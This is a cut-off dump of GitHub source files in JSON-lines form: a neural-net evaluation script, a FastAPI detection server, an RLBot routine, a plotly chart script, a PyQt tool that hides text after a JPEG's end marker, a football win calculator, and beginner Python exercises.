\".csv\"\n if i % 10 == 0:\n output_df.to_csv(csv_path)\n\n bar_path = evaluation_path + \"group2_test_bar\" + str(i) + \".png\"\n plt.bar(range(len(dist)), dist, color = 'b')\n if i % 10 == 0:\n plt.savefig(bar_path)\n plt.close('all')\n\n\n ## Group 3\n\n group31_list = random.sample(group1_list, 4)\n group32_list = random.sample(group2_list, 4)\n group3_list = group31_list + group32_list\n\n input_test = []\n for item in item_list:\n if item in group3_list:\n input_test.append(1)\n else:\n input_test.append(0)\n\n input_torch = torch.from_numpy(np.array(input_test)).unsqueeze(0).float()\n output,dist = model.forward(input_torch)\n output_large_matrix = model.get_output_matrix(input_torch, output, pandas = True)\n output_matrix = model.get_output_small_matrix(input_torch, output, pandas = False)\n output_df = model.get_output_small_matrix(input_torch, output, pandas = True)\n\n \n d11_star = get_inner_class_distance(output_large_matrix, group31_list, order = 1)\n d11_star_list.append(d11_star)\n d22_star = get_inner_class_distance(output_large_matrix, group32_list, order = 1)\n d22_star_list.append(d22_star)\n d12_star = get_inter_class_distance(output_large_matrix, group31_list, group32_list, order = 1)\n d12_star_list.append(d12_star)\n\n dist = list(dist[0].detach().numpy())\n dist_list.append(dist)\n\n csv_path = evaluation_path + \"group3_test\" + str(i) + \".csv\"\n if i % 10 == 0:\n output_df.to_csv(csv_path)\n\n bar_path = evaluation_path + \"group3_test_bar\" + str(i) + \".png\"\n plt.bar(range(len(dist)), dist, color = 'b')\n if i % 10 == 0:\n plt.savefig(bar_path)\n plt.close('all')\n\n d11_mean = np.mean(d11_list)\n d22_mean = np.mean(d22_list)\n d11_star_mean = np.mean(d11_star_list)\n d22_star_mean = np.mean(d22_star_list)\n d12_star_mean = np.mean(d12_star_list)\n\n c1 = d11_star_mean / d11_mean\n c2 = d22_star_mean / d22_mean\n c3 = (d11_star_mean + d22_star_mean)/ (2 * d12_star_mean)\n\n info0 = \"Model: \" + str(model_path)\n info01 = \"d11 : \" + str(d11_mean) + \" , d22 : \" + str(d22_mean)\n info02 = \"d11* : \" + str(d11_star_mean) + \" , d22* : \" + str(d22_star_mean)\n info03 = \"d12* : \" + str(d12_star_mean)\n info1 = \"c1: \" + str(c1)\n info2 = \"c2: \" + str(c2)\n info3 = \"c3: \" + str(c3)\n info4 = \"Entropy: \" + str(entropy)\n\n ############## PCA\n pca = PCA(n_components = \"mle\")\n pca.fit(dist_list)\n feature = pca.transform(dist_list)\n print(pca.explained_variance_ratio_)\n \n figure = \"PCA_Test\"\n plt_file = plot_path + str(extra) + \"_\" + str(figure) + \".png\"\n plt.scatter(feature[:,0], feature[:,1])\n plt.grid()\n #plt.xlim(-1,1)\n #plt.ylim(-1,1)\n plt.savefig(plt_file)\n plt.close('all')\n\n \n with open(coeff_path, \"w\") as log_f:\n log_f.write(info0 + \"\\r\\n\")\n log_f.write(info01 + \"\\r\\n\")\n log_f.write(info02 + \"\\r\\n\")\n log_f.write(info03 + \"\\r\\n\")\n log_f.write(info1 + \"\\r\\n\")\n log_f.write(info2 + \"\\r\\n\")\n log_f.write(info3 + \"\\r\\n\")\n log_f.write(info4 + \"\\r\\n\")\n log_f.write(\"Variance Ratio:\" + str(pca.explained_variance_ratio_) + \"\\r\\n\")\n\n\n \n","repo_name":"nixidekaoya/global_model","sub_path":"nn_attention_global_cv.py","file_name":"nn_attention_global_cv.py","file_ext":"py","file_size_in_byte":22585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15230093548","text":"# Author: Nicolas Agudelo\n# Instructions for this project can be found at: https://www.codecademy.com/paths/computer-science/tracks/cspath-cs-101/modules/cspath-boredless-tourist/projects/the-boredless-tourist\n\n# Global Variables\n\nfrom webbrowser import get\n\n\ndestinations = ['Paris, France', 'Shanghai, China','Los Angeles, USA', 'São Paulo, Brazil', 'Cairo, Egypt']\n\ntest_traveler = ['Erin Wilkes', 'Shanghai, China', ['historical site', 'art']]\n\nattractions = [[] for destination in destinations]\nattractions_with_interest = []\n\n# Functions\ndef get_destination_index(destination):\n destination_index = destinations.index(destination)\n return destination_index\n\ndef get_traveler_location(traveler):\n traveler_destination = test_traveler[1]\n traveler_destination_index = get_destination_index(traveler_destination)\n return traveler_destination_index\n\ndef add_attraction(destination, attraction):\n destination_index = get_destination_index(destination)\n attractions_for_destination = attractions[destination_index]\n attractions_for_destination.append(attraction)\n\ndef find_attractions(destination, interests):\n destination_index = get_destination_index(destination)\n attractions_in_city = attractions[destination_index]\n for attraction in attractions_in_city:\n possible_attraction = attraction\n attraction_tags = attraction[1]\n for interest in interests:\n if interest in attraction_tags: attractions_with_interest.append(possible_attraction[0])\n \n return attractions_with_interest\n\ndef get_attractions_for_traveler(traveler):\n traveler_name = traveler[0]\n traveler_destination = traveler[1]\n traveler_interests = traveler[2]\n interests_string = ''\n traveler_attractions = find_attractions(traveler_destination, traveler_interests)\n interests_string = \"Hi \" + traveler_name + \", we think you'll like these places around \" + traveler_destination +\":\"\n for attraction in traveler_attractions: interests_string += '\\n- ' + attraction\n attractions_with_interest.clear()\n return interests_string\n\n# print(get_destination_index('Los Angeles, USA'))\n# print(get_destination_index('Paris, France'))\n# print(get_destination_index('“Hyderabad, India”'))\n\n# test_destination_index = get_traveler_location(test_traveler)\n\n# print(test_destination_index)\n\nadd_attraction('Los Angeles, USA', ['Venice Beach', ['beach']])\nadd_attraction(\"Paris, France\", [\"the Louvre\", [\"art\", \"museum\"]])\nadd_attraction(\"Paris, France\", [\"Arc de Triomphe\", [\"historical site\", \"monument\"]])\nadd_attraction(\"Shanghai, China\", [\"Yu Garden\", [\"garden\", \"historical site\"]])\nadd_attraction(\"Shanghai, China\", [\"Yuz Museum\", [\"art\", \"museum\"]])\nadd_attraction(\"Shanghai, China\", [\"Oriental Pearl Tower\", [\"skyscraper\", \"viewing deck\"]])\nadd_attraction(\"Los Angeles, USA\", [\"LACMA\", [\"art\", \"museum\"]])\nadd_attraction(\"São Paulo, Brazil\", [\"São Paulo Zoo\", [\"zoo\"]])\nadd_attraction(\"São Paulo, Brazil\", [\"Pátio do Colégio\", [\"historical site\"]])\nadd_attraction(\"Cairo, Egypt\", [\"Pyramids of Giza\", [\"monument\", \"historical site\"]])\nadd_attraction(\"Cairo, Egypt\", [\"Egyptian Museum\", [\"museum\"]])\n# print(attractions)\n\n# la_arts = find_attractions(\"Los Angeles, USA\", ['art'])\n# print(la_arts)\n\nsmills_france = get_attractions_for_traveler(['Dereck Smill', 'Paris, France', ['monument']])\n\nprint (smills_france)\nprint (get_attractions_for_traveler(test_traveler))","repo_name":"nicolasagudelo/the_boredless_tourist","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27018862526","text":"import uvicorn\nimport odrpc\nimport base64\nimport logging\nimport asyncio\nfrom fastapi import status, FastAPI, WebSocket, WebSocketDisconnect\nfrom fastapi.responses import Response\nfrom fastapi.staticfiles import StaticFiles\nfrom concurrent.futures import ThreadPoolExecutor\n\n\nclass API():\n def __init__(self, config, doods):\n self.config = config\n self.doods = doods\n self.api = FastAPI()\n # Borrow the uvicorn logger because it's pretty.\n self.logger = logging.getLogger(\"doods.api\")\n\n @self.api.get(\"/detectors\", response_model=odrpc.DetectorsResponse, response_model_exclude_none=True)\n async def detectors():\n return odrpc.DetectorsResponse(detectors=self.doods.detectors())\n\n @self.api.post(\"/detect\", response_model=odrpc.DetectResponse, response_model_exclude_none=True)\n async def detect(detect_request: odrpc.DetectRequest, response: Response):\n # logger.info('detect request: %s', detect_request)\n detect_response = self.doods.detect(detect_request)\n if detect_response.error:\n response.status_code = status.HTTP_400_BAD_REQUEST\n # If we requested an image, base64 encode it back to the user\n if detect_request.image:\n detect_response.image = base64.b64encode(detect_response.image)\n return detect_response\n \n @self.api.websocket(\"/detect\")\n async def detect_stream(websocket: WebSocket):\n await websocket.accept()\n detect_responses = asyncio.Queue()\n executor = ThreadPoolExecutor()\n async def detect_handle(detect_request: odrpc.DetectRequest):\n try:\n detect_response = self.doods.detect(detect_request)\n if detect_request.image:\n detect_response.image = base64.b64encode(detect_response.image)\n await detect_responses.put(detect_response)\n except asyncio.TimeoutError:\n self.logger.error(\"Detector timeout error\")\n except Exception as e:\n self.logger.error(\"Exception({0}):{1!r}\".format(type(e).__name__, e.args))\n\n def detect_thread(detect_request: odrpc.DetectRequest):\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n try:\n loop.run_until_complete(detect_handle(detect_request))\n loop.close()\n except Exception as e:\n self.logger.error(\"Exception({0}):{1!r}\".format(type(e).__name__, e.args))\n loop.close()\n\n async def send_detect_responses():\n try:\n while True:\n detect_response = await detect_responses.get()\n await websocket.send_json(detect_response.asdict(include_none=False))\n except Exception as e:\n self.logger.error(\"Exception({0}):{1!r}\".format(type(e).__name__, e.args))\n\n send_detect_responses_task = asyncio.create_task(send_detect_responses())\n \n while True:\n try:\n detect_config = await websocket.receive_json()\n detect_request = odrpc.DetectRequest(**detect_config)\n executor.submit(detect_thread, detect_request)\n except TypeError:\n await detect_responses.put(odrpc.DetectResponse(error='could not parse request body'))\n except WebSocketDisconnect:\n send_detect_responses_task.cancel()\n executor.shutdown()\n break\n except Exception as e:\n self.logger.error(\"Exception({0}):{1!r}\".format(type(e).__name__, e.args))\n send_detect_responses_task.cancel()\n executor.shutdown()\n break\n\n @self.api.post(\"/image\")\n async def image(detect_request: odrpc.DetectRequest, response: Response):\n # logger.info('image request: %s', detect_request)\n if not detect_request.image:\n detect_request.image = \".jpg\"\n detect_response = self.doods.detect(detect_request)\n if detect_response.error:\n return Response(status_code=status.HTTP_400_BAD_REQUEST, content=detect_response.error)\n return Response(content=detect_response.image, media_type=\"image/jpeg\")\n\n # Mount the UI directory - must be last\n self.api.mount(\"/\", StaticFiles(directory=\"html\", html=True), name=\"static\")\n \n def run(self):\n log_config = uvicorn.config.LOGGING_CONFIG\n log_config[\"formatters\"][\"access\"][\"fmt\"] = \"%(asctime)s - %(name)s - %(levelname)s - %(message)s\"\n log_config[\"formatters\"][\"default\"][\"fmt\"] = \"%(asctime)s - %(name)s - %(levelname)s - %(message)s\"\n log_config[\"loggers\"][\"uvicorn\"][\"propagate\"] = False # Fix a bug in logging\n uvicorn.run(self.api, host=self.config.host, port=self.config.port, log_config=log_config) \n\n","repo_name":"danielkaiser/MiniDoods","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74187708107","text":"from routines import *\r\nfrom cutil.ctools import *\r\nfrom cutil.cutils import *\r\n\r\nclass reposition:\r\n def __init__(self, desired_distance = 3000, ball_going_into_our_net = False, offense_defense = 0):\r\n self.goto = goto(Vector3(0, 0, 0))\r\n self.target = None\r\n self.intercept_location = None\r\n self.intercept_time = None\r\n self.direction_vector = None\r\n self.desired_distance = desired_distance\r\n self.unmodded_reposition_target = None\r\n self.returning_to_goal = False\r\n self.ball_going_into_our_net = ball_going_into_our_net\r\n self.offense_defense = offense_defense\r\n\r\n def run(self, agent):\r\n if self.target is None:\r\n self.find_target(agent)\r\n if self.target.flat_dist(agent.me.location) < 100:\r\n self.target = self.intercept_location\r\n self.goto.arrival_time = self.intercept_time\r\n if self.returning_to_goal and self.offense_defense < 0:\r\n self.goto.urgent = True\r\n self.goto.slow_down = True\r\n if agent.time > self.intercept_time:\r\n agent.pop()\r\n\r\n car_to_final_target = (self.target - agent.me.location).flatten()\r\n distance_remaining = car_to_final_target.magnitude()\r\n\r\n self.goto.target = self.target\r\n self.goto.vector = self.direction_vector\r\n #print(self.goto.slow)\r\n agent.line(self.intercept_location - Vector3(0,0,500),self.intercept_location + Vector3(0,0,500),[255,0,0])\r\n agent.line(self.unmodded_reposition_target - Vector3(0, 0, 500), self.unmodded_reposition_target + Vector3(0,0,500), [0, 255, 0])\r\n\r\n self.goto.run(agent)\r\n\r\n def find_target(self, agent):\r\n slices = get_slices(agent, 6)\r\n\r\n earliest_intercept, intercept_vector_location = find_intercept_time_with_detour(agent.me, agent, return_intercept_location_too=True, ball_prediction_slices=slices, time_to_subtract=0.5)\r\n if earliest_intercept is None:\r\n intercept_location = slices[-1].physics.location\r\n earliest_intercept = slices[-1].game_seconds\r\n intercept_vector_location = Vector3(intercept_location.x, intercept_location.y, intercept_location.z)\r\n\r\n\r\n my_goal_to_ball = (intercept_vector_location - agent.friend_goal.location).flatten().normalize()\r\n ball_to_their_goal = (agent.foe_goal.location - intercept_vector_location).flatten().normalize()\r\n car_to_ball, car_to_ball_distance = (intercept_vector_location - agent.me.location).flatten().normalize(True)\r\n ball_to_goal_magnitude = (intercept_vector_location - agent.friend_goal.location).flatten().magnitude()\r\n\r\n if agent.closest_onside_to_ball and not agent.pull_back and len(agent.friends) >= 1 or (len(agent.friends) == 0 and self.offense_defense == 1):\r\n direction_vector = lerp(-ball_to_their_goal, -my_goal_to_ball, 0.75)\r\n else:\r\n direction_vector = -my_goal_to_ball\r\n\r\n reposition_target = intercept_vector_location.flatten() + direction_vector * min(self.desired_distance, ball_to_goal_magnitude - 150)\r\n\r\n # print(\"Intercept location: \" + str(intercept_vector_location))\r\n # print(\"Reposition target: \" + str(reposition_target))\r\n reposition_target.x = cap(reposition_target.x, -3796, 3796)\r\n reposition_target.y = cap(reposition_target.y, -5120, 5120)\r\n final_target = reposition_target\r\n self.unmodded_reposition_target = reposition_target\r\n\r\n # near_goal = abs(agent.me.location[1] - agent.friend_goal.location[1]) < 3000\r\n # side_shift = 400 if near_goal else 1800\r\n # points = [reposition_target + Vector3(side_shift, 0, 0), reposition_target - Vector3(side_shift, 0, 0)]\r\n # #print(\"Points: \" + str(points))\r\n # final_target = closest_point(reposition_target, points) if near_goal else furthest_point(reposition_target, points)\r\n # if abs(intercept_vector_location[0]) < 1000 or car_to_ball_distance < 1000:\r\n # final_target = closest_point(agent.me.location, points)\r\n # #print(\"Final Target: \" + str(final_target))\r\n #\r\n if (final_target.y * side(agent.team)) > 4000 or self.ball_going_into_our_net:\r\n final_target = agent.friend_goal.location\r\n #final_target.y = 4400 * utils.side(agent.team)\r\n self.returning_to_goal = True\r\n else:\r\n final_target.x = cap(final_target.x, -3400, 3400)\r\n final_target.y = cap(final_target.y, -4800, 4800)\r\n\r\n car_to_final_target = (final_target - agent.me.location).flatten()\r\n final_target_to_intercept_direction = -(final_target - intercept_vector_location).flatten().normalize()\r\n\r\n\r\n\r\n\r\n self.target = final_target\r\n if self.offense_defense > -1:\r\n self.direction_vector = final_target_to_intercept_direction\r\n self.intercept_location = intercept_vector_location.flatten()\r\n self.intercept_time = earliest_intercept","repo_name":"RLBot/RLBotPack","sub_path":"RLBotPack/CheeseBot Family/CheeseBot/cutil/croutines.py","file_name":"croutines.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"82"} +{"seq_id":"31698101383","text":"from numpy.core.fromnumeric import resize, shape\nimport plotly.express as px\nimport pandas as pd\nimport numpy as np\nimport plotly.graph_objects as go\nimport matplotlib.pyplot as plt\n\n\ndef load_csv(file_path):\n return pd.read_csv(file_path, sep=',', header=0)\n\n\nclass Figures():\n def __init__(self, data) -> None:\n self.data = data\n self.cmin = -0.1\n self.cmax = 2.5\n\n self.adjust_layout()\n self.rootCause_to_symptom()\n\n def adjust_layout(self):\n df = [self.data['Root cause High level'], self.data['Symptom Vis']]\n\n result = pd.concat(df, axis=1)\n\n categorical_dimensions = ['Root cause High level', 'Symptom Vis']\n dimensions = [dict(values=result[label], label=label)\n for label in categorical_dimensions]\n\n dimensions[0]['label'] = 'Root Causes'\n dimensions[1]['label'] = 'Symptoms'\n\n result[\"Symptom Vis\"] = result[\"Symptom Vis\"].map({'Segmentation Fault': 1, 'Crash': 2, 'Unexpected Behavior': 3, 'Resource Consumption': 4,\n 'Others': 5})\n\n color = result['Symptom Vis'].values\n\n colorscale = [[0, 'blue'], [0.33, 'red'], [0.33, 'aliceblue'], [\n 0.66, 'green'], [0.66, 'black'], [1.0, 'darkcyan']]\n layout = go.Layout(\n autosize=False,\n width=1400,\n height=600,\n\n xaxis=go.layout.XAxis(linecolor='red',\n linewidth=10,\n mirror=True),\n\n yaxis=go.layout.YAxis(linecolor='black',\n linewidth=10,\n mirror=True),\n\n margin=go.layout.Margin(\n l=300,\n r=500,\n b=100,\n t=100,\n pad=8\n )\n )\n\n trace1 = go.Parcats(dimensions=dimensions,\n line={'colorscale': colorscale, 'cmin': self.cmin, 'cmax': self.cmax, 'color': color, 'shape': 'hspline'})\n data = [trace1]\n\n fig = go.Figure(data=data, layout=layout)\n return fig, result, color, colorscale\n\n def rootCause_to_symptom(self):\n fig, result, color, colorscale = self.adjust_layout()\n colors = {\n 'background': 'white',\n 'text': 'black'\n }\n fig.update_layout(\n plot_bgcolor=colors['background'],\n paper_bgcolor=colors['background'],\n font_color=colors['text'],\n font_size=20\n )\n\n fig.show()\n fig.write_html(\"./rootcauseSymptom.html\")\n\n\ndef main():\n file_path = './benchmark.csv'\n data = load_csv(file_path)\n\n data = data[data['Root cause High level'] != 'Others']\n\n data = data[data['Root cause High level'] != 'others']\n\n data = data[data['Symptom Vis'] != 'Others']\n\n data = data[data['Symptom Vis'] != 'others']\n Figures(data)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cse19922021/Deep-Learning-Security-Vulnerabilities","sub_path":"ppScript.py","file_name":"ppScript.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"21835759770","text":"import sys\nfrom os import path as op\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import Qt\n\napp = QApplication([])\n\napp.setStyle('Fusion')\n\nwindow = QWidget()\nwindow.setWindowTitle('Hider')\nwindow.setFixedWidth(600)\nwindow.setFixedHeight(400)\n\nlayout = QHBoxLayout()\nleft_layout = QVBoxLayout()\nform_layout = QFormLayout()\n\nimgPath = QLineEdit()\nimgPath.setFixedHeight(380)\nimgPath.setAlignment(Qt.AlignTop)\nimgPath.setPlaceholderText('Img\\'s Path:')\n\nlayout.addWidget(imgPath)\n\nmsg_box = QLineEdit()\nmsg_box.setFixedWidth(130)\nmsg_box.setPlaceholderText('Message')\n\ndef write_msg():\n alert_box = QMessageBox()\n\n if(op.isfile(imgPath.text()) and op.splitext(imgPath.text())[1] == '.jpeg'):\n with open(imgPath.text(), 'ab') as fp:\n fp.write(b'%a' % msg_box.text())\n alert_box.setWindowTitle('Success!')\n alert_box.setText('\\'{}\\' was written with success!'.format(msg_box.text()))\n elif(not op.isfile(imgPath.text())):\n alert_box.setWindowTitle('Error')\n alert_box.setText('{} is not a file'.format(imgPath.text()))\n elif(not op.splitext(imgPath.text())[1] == '.jpeg'):\n alert_box.setWindowTitle('Error')\n alert_box.setText('{} files are not supported'.format(op.splitext(imgPath.text())[1]))\n alert_box.exec()\n\nwrite_btn = QPushButton('Write')\nwrite_btn.clicked.connect(write_msg)\n\nimg_info = QLineEdit()\nimg_info.setReadOnly(True)\nimg_info.setPlaceholderText('Output')\n\ndef read_info():\n alert_box = QMessageBox()\n alert_box.setWindowTitle('Error')\n\n if(op.isfile(imgPath.text()) and op.splitext(imgPath.text())[1] == '.jpeg'):\n with open(imgPath.text(), 'rb') as fp:\n content = fp.read()\n offset = content.index(bytes.fromhex('FFD9'))\n\n fp.seek(offset + 2)\n img_info.setText(fp.read().decode('utf-8'))\n elif(not op.isfile(imgPath.text())):\n alert_box.setText('{} does not exist'.format(imgPath.text()))\n alert_box.exec()\n elif(not op.splitext(imgPath.text())[1] == '.jpeg'):\n alert_box.setText('{} files are not supported'.format(op.splitext(imgPath.text())[1]))\n alert_box.exec()\n\nread_btn = QPushButton('Read')\nread_btn.setFixedWidth(130)\nread_btn.clicked.connect(read_info)\n\nform_layout.addRow(msg_box, write_btn)\nform_layout.addRow(read_btn, img_info)\n\ndef clear_text():\n imgPath.clear()\n msg_box.clear()\n img_info.clear()\n\nclear_btn = QPushButton('Clear')\nclear_btn.clicked.connect(clear_text)\n\ndef exit_app():\n sys.exit()\n\nexit_btn = QPushButton('Exit')\nexit_btn.clicked.connect(exit_app)\n\nleft_layout.addLayout(form_layout)\nleft_layout.addWidget(clear_btn)\nleft_layout.addWidget(exit_btn)\n\nlayout.addLayout(left_layout)\n\nwindow.setLayout(layout)\n\nwindow.show()\napp.exec_()\n","repo_name":"MeEu1/img_writer","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72874767627","text":"from prjstore.db.schemas import product as schemas\nfrom prjstore.db.api.components.base import APIBase\n\n\nclass API_Product(APIBase[schemas.CreateProduct, schemas.Product, schemas.Product]):\n prefix = 'prod'\n schema = schemas.Product\n list_schema = schemas.ListProducts\n\n def __init__(self, headers):\n super().__init__(headers)\n","repo_name":"igol84/myproject","sub_path":"prjstore/db/api/components/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2506455508","text":"import logging\nfrom collections import OrderedDict\nfrom math import floor\nfrom GEMEditor.analysis.statistics.ui import Ui_StatisticsDialog\nfrom PyQt5 import QtCore\nfrom PyQt5.QtWidgets import QDialog, QGridLayout, QGroupBox, QLabel, QFileDialog, QDialogButtonBox, \\\n QPushButton\n\nlogger = logging.getLogger(__name__)\n\n\nclass DisplayStatisticsDialog(QDialog, Ui_StatisticsDialog):\n \"\"\" Display model statistics\n\n Show model statistics one groupboxes per item type\n containing all computed numbers. The user has the\n choice to save the displayed statistics to a file.\n\n Parameters\n ----------\n statistics: OrderedDict,\n Dictionary containing the statistics grouped in categories\n\n \"\"\"\n\n def __init__(self, statistics):\n super(DisplayStatisticsDialog, self).__init__()\n self.setupUi(self)\n self.statistics = statistics\n self.setWindowTitle(\"Statistics\")\n self.save_button = QPushButton(\"Save\")\n self.buttonBox.addButton(self.save_button, QDialogButtonBox.ActionRole)\n self.save_button.clicked.connect(self.save_statistics)\n self.update_statistics()\n\n def update_statistics(self):\n \"\"\" Populate the dialogs with numbers from\n the statistics dictionary. \"\"\"\n\n # Delete existing child widgets\n for i in reversed(range(self.mainLayout.count())):\n current_widget = self.mainLayout.itemAt(i).widget()\n self.mainLayout.removeWidget(current_widget)\n current_widget.setParent(None)\n\n # Populate layout with new widgets\n for i, item in enumerate(self.statistics.items()):\n key, value = item\n # Generate group box per item\n group_widget = QGroupBox()\n group_widget.setTitle(key)\n\n # Set group layout\n group_layout = QGridLayout()\n group_widget.setLayout(group_layout)\n\n # Add groupbox to main layout (3 columns)\n self.mainLayout.addWidget(group_widget, floor(i/3), i % 3)\n\n # Add items to groupbox\n for n, item in enumerate(value.items()):\n # Add description\n group_layout.addWidget(QLabel(item[0]), n, 0, QtCore.Qt.AlignTop)\n # Add count\n group_layout.addWidget(QLabel(str(item[1])), n, 1, QtCore.Qt.AlignTop | QtCore.Qt.AlignRight)\n\n # Stretch last row to make rows align at top\n group_layout.setRowStretch(n, 1)\n\n @QtCore.pyqtSlot()\n def save_statistics(self):\n \"\"\" Write stats to file \"\"\"\n filename, filter = QFileDialog.getSaveFileName(self, self.tr(\"Save statistics\"), None,\n self.tr(\"Text file (*.txt)\"))\n if filename:\n write_stats_to_file(filename, self.statistics)\n\n\ndef write_stats_to_file(path, model_stats):\n \"\"\" Write the statistics to file\n\n Parameters\n ----------\n path: str\n File path to save statistics to\n model_stats: OrderedDict\n Dictionary containing the statistics grouped in categories\n\n \"\"\"\n with open(path, \"w\") as open_file:\n for category, statistics in model_stats.items():\n for description, count in statistics.items():\n open_file.write(\"\\t\".join((category, description, str(count)))+\"\\n\")\n","repo_name":"JuBra/GEMEditor","sub_path":"GEMEditor/analysis/statistics/dialog.py","file_name":"dialog.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72993389067","text":"import random\n\n\n'''points_for = 126\npoints_against = 40\n\nexponent = 2.37\nseason_length = 16'''\n\n\ndef pythagorean_expecation(points_for=1,points_against=1, exponent=2.37, season_length=16):\n numer = points_for ** exponent\n denom = points_for ** exponent + points_against ** exponent\n\n return int(season_length * (numer / denom) + .5)\n\n\ndef judgement(e_wins):\n if e_wins >= 14:\n verdict = [\"legendary status!\",\n \"we got some dogs!\",\n \"i don't want to get ahead of myself, but this team beats the Pats!\",\n \"destined for greatness!\",\n \"this team will go down in the history books!\",\n \"championship aspirations!\",\n \"someone's getting a raise!\",\n \"this is a model organization with a high caliber track record!\",\n \"lesser men wouldn't be this good!\"\n ]\n elif e_wins >= 8:\n verdict = ['we got a solid team!',\n 'proud of the effort!',\n 'when we play well, not many teams can hang with us!',\n 'if we just play our game, we have a chance to win the ship!',\n 'awesome!'\n ]\n elif e_wins >= 4:\n verdict = [\"we'll get this on thing track!\",\n \"we're not too far out of the playoff raise!\",\n \"just trying to squeak by over here\",\n \"some positive momentum is needed!\",\n \"we have good players, just gotta get it together!\",\n \"not exactly what we expected, but keep grinding!\"]\n else:\n verdict = ['yikes!',\n 'do you know benching the qb is an option?',\n 'your GM isn\\'t gonna be thrilled!',\n 'wtf is Sachi Brown coaching this team!',\n 'you\\'re closer to the \\'19 dolphins than the \\'72 team',\n 'uhhh, trust the process I guess!',\n 'Tank for Tua!',\n \"don't bother going to another game!\",\n \"i'm gonna be real with you chief, this team is trash!\"\n ]\n\n return random.choice(verdict)\n\n\ndef football_expectation(points_for=1,points_against=1, exponent=2.37, season_length=16):\n e_wins = pythagorean_expecation(points_for,points_against, exponent, season_length)\n\n result = 'you\\'re performing at a {}-{} level, {}'.format(e_wins, season_length-e_wins, judgement(e_wins))\n return {\"points_for\": points_for,\n \"points_against\": points_against,\n \"verdict\": result\n }\n\n\nif __name__ == '__main__':\n football_expectation(points_for, points_against)\n","repo_name":"jletienne/jletienne.com","sub_path":"cool_projects/football_expectations.py","file_name":"football_expectations.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38222187976","text":"# Exercise 1\n# Instructions\n# Write a script that inserts an item at a defined index in a list.\nimport math\n\nfrom functools import reduce\n\n\nmy_list = [4, 6, 45, 6]\n\n\ndef insert_item(list_items, value, position):\n new_list = []\n if position <= len(list_items):\n new_list = list_items[0:position] + [value] + my_list[position: len(list_items)]\n else:\n new_list = my_list\n print(\"Index out of range\")\n\n return new_list\n\n\nresult = insert_item(my_list, 123, 3)\n\nprint(result)\n\n\n# Exercise 2\n# Instructions\n# Write a script that counts the number of spaces in a string.\n\n\ndef count_spaces(string):\n count = 0\n for char in string:\n if ord(char) == 32:\n count += 1\n if count == 0:\n count = 0\n return count\n\n\nspaces = count_spaces(\"Write a script that counts the number of spaces in a string\")\nprint(f\"There are {spaces} spaces in the string.\")\n\n\n# Exercise 3\n# Instructions\n# Write a script that calculates the number of upper case\n# letters and lower case letters in a string.\n\n\ndef is_upper(char):\n if char == char.upper() and ('a' <= char <= 'z' or 'A' <= char <= 'Z'):\n return True\n else:\n return False\n\n\ndef calc_upper_lower(sentence):\n lowers = 0\n uppers = 0\n for letter in sentence:\n if is_upper(letter):\n uppers += 1\n else:\n lowers += 1\n return uppers, lowers\n\n\nupper, lower = calc_upper_lower(\"Write A scRipt TO be in tHe lOOp\")\nprint(f\"Number of uppers is {upper} and number of lowers is {lower}\")\n\n\n# Exercise 4\n# Instructions\n# Write a function to find the sum of an array without using\n# the built in function:\n\n\ndef my_sum(list_param):\n sum_list = 0\n for i in range(len(list_param)):\n sum_list += list_param[i]\n return sum_list\n\n\nprint(my_sum([1, 5, 4, 2]))\n\n\n# Exercise 5\n# Instructions\n# Write a function to find the max number in a list\n\n\ndef find_max(list_param):\n max_num = list_param[0]\n for i in range(1, len(list_param)):\n if list_param[i] > max_num:\n max_num = list_param[i]\n return max_num\n\n\nprint(find_max([0, 1, 3, 50]))\n\n\n# Exercise 6\n# Instructions\n# Write a function that returns factorial of a number\n\n\ndef factorial(n):\n if n <= 1:\n return 1\n else:\n return n * factorial(n - 1)\n\n\nprint(factorial(12))\n\n\n# Exercise 7\n# Instructions\n# Write a function that counts an element\n# in a list (without using the count method):\n# list_count(['a','a','t','o'],'a')\n\ndef list_count(list_param, key):\n count = 0\n for item in list_param:\n if item == key:\n count += 1\n return count\n\n\nprint(list_count(['a', 'a', 't', 'o'], 'a'))\n\n# Exercise 8\n# Instructions\n# Write a function that returns the L2-norm (square root of the sum of squares)\n# of the sum of a list:\n# >>>norm([1,2,2])\n# >>>3\n\n\ndef norm(list_param):\n squared_norm = 0\n for num in list_param:\n squared_norm += num**2\n return math.sqrt(squared_norm)\n\n\nprint(norm([1, 2, 2]))\n\n\n# Exercise 9\n# Instructions\n# Write a function to find if an array is monotonic\n# (sorted either ascending of descending)\n# >>>is_mono([7,6,5,5,2,0])\n# >>>True\n# >>>is_mono([2,3,3,3])\n# >>>True\n# >>>is_mono([1,2,0,4])\n# >>>False\n\ndef is_mono(list_param):\n if list_param == sorted(list_param) or list_param == sorted(list_param, reverse=True):\n return True\n else:\n return False\n\nprint(is_mono([7,6,5,5,2,0]))\nprint(is_mono([2,3,3,3]))\nprint(is_mono([1,2,0,4]))\n\n# Exercise 10 Write a function that prints the longest word in a list.\n\n\ndef longuest_word(list_param):\n maximum = list_param[0]\n for i in range(len(list_param)-1):\n if 